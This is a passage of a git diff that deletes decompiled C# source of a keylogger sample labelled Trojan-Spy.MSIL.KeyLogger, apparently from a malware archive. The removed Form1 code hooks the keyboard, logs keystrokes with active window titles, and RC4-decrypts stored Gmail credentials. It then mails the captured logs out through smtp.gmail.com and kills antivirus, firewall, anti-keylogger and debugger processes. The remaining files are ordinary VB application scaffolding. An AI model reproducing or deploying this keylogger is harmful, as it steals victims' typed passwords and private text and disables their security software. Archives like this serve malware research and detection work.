if (this.shift) - { - this.innerz666.Text += "9"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "("; - } - } - else if (Key == Keys.OemSemicolon) - { - if (this.shift) - { - this.innerz666.Text += ":"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += ";"; - } - } - else if (Key == Keys.OemPeriod) - { - if (this.shift) - { - this.innerz666.Text += ">"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "."; - } - } - else if (Key == Keys.OemQuotes) - { - if (this.shift) - { - this.innerz666.Text += "\""; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "'"; - } - } - else if (Key == Keys.OemOpenBrackets) - { - if (this.shift) - { - this.innerz666.Text += "{"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "["; - } - } - else if (Key == Keys.OemCloseBrackets) - { - if (this.shift) - { - this.innerz666.Text += "}"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "]"; - } - } - else if (Key == Keys.Oemcomma) - { - if (this.shift) - { - this.innerz666.Text += "<"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += ","; - } - } - else if (Key == Keys.OemMinus) - { - if (this.shift) - { - this.innerz666.Text += "_"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "-"; - } - } - else if (Key == Keys.Oemplus) - { - if (this.shift) - { - this.innerz666.Text += "+"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "="; - } - } - else if (Key == Keys.OemQuestion) - { - if (this.shift) - { - this.innerz666.Text += "?"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "/"; - } - } - else if (Key == Keys.OemPipe) - { - if (this.shift) - { - this.innerz666.Text += "|"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "\\"; - } - } - else if (Key == Keys.Oemtilde) - { - if (this.shift) - { - this.innerz666.Text += "~"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "`"; - } - } - else if (Key == Keys.Tab) - { - this.innerz666.Text += "[tab]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Subtract) - this.innerz666.Text += "-"; - else if (Key == Keys.Capital) - this.innerz666.Text += "[caps]"; - else if (Key == Keys.Space) - this.innerz666.Text += " "; - else if (Key == Keys.Add) - this.innerz666.Text += "+"; - else if (Key == Keys.Back) - this.innerz666.Text += "[<]"; - else if (Key == Keys.LControlKey) - { - this.innerz666.Text += "[ctrl]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.RControlKey) - { - this.innerz666.Text += "[ctrl]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Decimal) - this.innerz666.Text += "."; - else if (Key == Keys.Delete) - this.innerz666.Text += "[<]"; - else if (Key == Keys.Divide) - this.innerz666.Text += "/"; - else if (Key == Keys.Down) - this.innerz666.Text += "[down]"; - else if (Key == Keys.End) - this.innerz666.Text += "[end]"; - else if (Key == Keys.Return) - { - this.innerz666.Text += "\r\n"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Escape) - { - this.innerz666.Text += "[esc]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Home) - this.innerz666.Text += "[home]"; - else if (Key == Keys.Insert) - this.innerz666.Text += "[insert]"; - else if (Key == Keys.Left) - this.innerz666.Text += "[<-]"; - else if (Key == Keys.Multiply) - this.innerz666.Text += "*"; - else if (Key == Keys.Next) - this.innerz666.Text += "[p-down]"; - else if (Key == Keys.Prior) - this.innerz666.Text += "[p-up]"; - else if (Key == Keys.Snapshot) - this.innerz666.Text += "[printscreen]"; - else if (Key == Keys.Return) - this.innerz666.Text += "\r\n"; - else if (Key == Keys.Scroll) - this.innerz666.Text += "[scroll]"; - else if (Key == Keys.Up) - this.innerz666.Text += "[up]"; - else if (Key == Keys.Right) - this.innerz666.Text += "[->]"; - else if (Key == Keys.Pause) - this.innerz666.Text += "[pause]"; - else if (Key == Keys.F1) - this.innerz666.Text += "[F1]"; - else if (Key == Keys.F2) - this.innerz666.Text += "[F2]"; - else if (Key == Keys.F3) - this.innerz666.Text += "[F3]"; - else if (Key == Keys.F4) - { - this.innerz666.Text += "[F4]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.F5) - this.innerz666.Text += "[F5]"; - else if (Key == Keys.F6) - this.innerz666.Text += "[F6]"; - else if (Key == Keys.F7) - this.innerz666.Text += "[F7]"; - else if (Key == Keys.F8) - this.innerz666.Text += "[F8]"; - else if (Key == Keys.F9) - this.innerz666.Text += "[F9]"; - else if (Key == Keys.F10) - this.innerz666.Text += "[F10]"; - else if (Key == Keys.F11) - this.innerz666.Text += "[F11]"; - else if (Key == Keys.F12) - this.innerz666.Text += "[F12]"; - else if (Key == Keys.F13) - this.innerz666.Text += "[F13]"; - else if (Key == Keys.F14) - this.innerz666.Text += "[F14]"; - else if (Key == Keys.F15) - this.innerz666.Text += "[F15]"; - else if (Key == Keys.NumPad0) - this.innerz666.Text += "0"; - else if (Key == Keys.NumPad1) - this.innerz666.Text += "1"; - else if (Key == Keys.NumPad2) - this.innerz666.Text += "2"; - else if (Key == Keys.NumPad3) - this.innerz666.Text += "3"; - else if (Key == Keys.NumPad4) - this.innerz666.Text += "4"; - else if (Key == Keys.NumPad5) - this.innerz666.Text += "5"; - else if (Key == Keys.NumPad6) - this.innerz666.Text += "6"; - else if (Key == Keys.NumPad7) - this.innerz666.Text += "7"; - else if (Key == Keys.NumPad8) - this.innerz666.Text += "8"; - else if (Key == Keys.NumPad9) - { - this.innerz666.Text += "9"; - } - else - { - if (Key != Keys.NumLock) - return; - this.innerz666.Text += "[numlock]"; - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(long vkey); - - private void Timer2_Tick(object sender, EventArgs e) - { - if (!MyProject.Computer.Network.IsAvailable) - return; - try - { - this.esendz666.Text = Form1.rc4(this.interz666.Text, "9pz666"); - try - { - this.esendx666.Text = Form1.rc4(this.interx666.Text, "9pz667"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - new SmtpClient() - { - Host = "smtp.gmail.com", - Port = Conversions.ToInteger("587"), - Credentials = ((ICredentialsByHost) new NetworkCredential(this.esendz666.Text, this.esendx666.Text)), - EnableSsl = true - }.Send(new MailMessage() - { - From = new MailAddress(this.esendz666.Text), - To = { - this.esendz666.Text - }, - Body = this.innerz666.Text, - Subject = "Lethal Keylogs" - }); - this.innerz666.Clear(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string rc4(string message, string esendx666word) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = esendx666word.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = esendx666word.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - - private void Timer1_Tick(object sender, EventArgs e) - { - if (Form1.GetAsyncKeyState(2L) == -32767) - { - this.innerz666.Text += "[RB]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) != 0) - { - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n\r\n"; - } - } - if (Form1.GetAsyncKeyState(1L) != -32767) - return; - this.innerz666.Text += "[LB]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n\r\n"; - } - - private void Timer3_Tick(object sender, EventArgs e) - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(this.check9, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("sample"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check10, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("outpost"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check11, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("npfmsg"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check12, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("bdagent"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check18, "Yes", false) == 0 && Operators.CompareString(Strings.LCase(processes[index].ProcessName), Strings.LCase("keyscrambler"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check21, "Yes", false) == 0 && Operators.CompareString(Strings.LCase(processes[index].ProcessName), Strings.LCase("ollydbg"), false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public class KeyboardHook - { - private const int HC_ACTION = 0; - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private const int WM_KEYUP = 257; - private const int WM_SYSKEYDOWN = 260; - private const int WM_SYSKEYUP = 261; - private static int KeyHook; - private static Form1.KeyboardHook.KeyboardProcDelegate KeyHookDelegate; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Form1.KeyboardHook.KeyboardProcDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int UnhookWindowsHookEx(int hHook); - - public static event Form1.KeyboardHook.KeyDownEventHandler KeyDown; - - public static event Form1.KeyboardHook.KeyUpEventHandler KeyUp; - - public KeyboardHook() - { - Form1.KeyboardHook.KeyHookDelegate = new Form1.KeyboardHook.KeyboardProcDelegate(Form1.KeyboardHook.KeyboardProc); - Form1.KeyboardHook.KeyHook = Form1.KeyboardHook.SetWindowsHookEx(13, Form1.KeyboardHook.KeyHookDelegate, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private static int KeyboardProc( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam) - { - if (nCode == 0) - { - switch (wParam) - { - case 256: - case 260: - Form1.KeyboardHook.KeyDownEventHandler keyDownEvent = Form1.KeyboardHook.KeyDownEvent; - if (keyDownEvent != null) - { - keyDownEvent((Keys) lParam.vkCode); - break; - } - break; - case 257: - case 261: - Form1.KeyboardHook.KeyUpEventHandler keyUpEvent = Form1.KeyboardHook.KeyUpEvent; - if (keyUpEvent != null) - { - keyUpEvent((Keys) lParam.vkCode); - break; - } - break; - } - } - return Form1.KeyboardHook.CallNextHookEx(Form1.KeyboardHook.KeyHook, nCode, wParam, lParam); - } - - ~KeyboardHook() - { - Form1.KeyboardHook.UnhookWindowsHookEx(Form1.KeyboardHook.KeyHook); - // ISSUE: explicit finalizer call - base.Finalize(); - } - - private struct KBDLLHOOKSTRUCT - { - public int vkCode; - public int scancode; - public int flags; - public int time; - public int dwExtraInfo; - } - - private delegate int KeyboardProcDelegate( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - public delegate void KeyDownEventHandler(Keys Key); - - public delegate void KeyUpEventHandler(Keys Key); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MyApplication.cs deleted file mode 100644 index 9103b23f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyApplication -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace MicrosoftWindows.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - [STAThread] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MyComputer.cs deleted file mode 100644 index 4e2e809b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyComputer -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace MicrosoftWindows.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MyProject.cs deleted file mode 100644 index 35473055..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyProject -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace MicrosoftWindows.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MySettings.cs deleted file mode 100644 index 15cf5718..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MySettings.cs +++ /dev/null @@ -1,82 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MySettings -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace MicrosoftWindows.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - - [UserScopedSetting] - [DefaultSettingValue("True")] - [DebuggerNonUserCode] - public bool runonce - { - get => Conversions.ToBoolean(this[nameof (runonce)]); - set => this[nameof (runonce)] = (object) value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MySettingsProperty.cs deleted file mode 100644 index c1f1e312..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MySettingsProperty -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace MicrosoftWindows.My -{ - [DebuggerNonUserCode] - [StandardModule] - [HideModuleName] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/Resources/Resources.cs 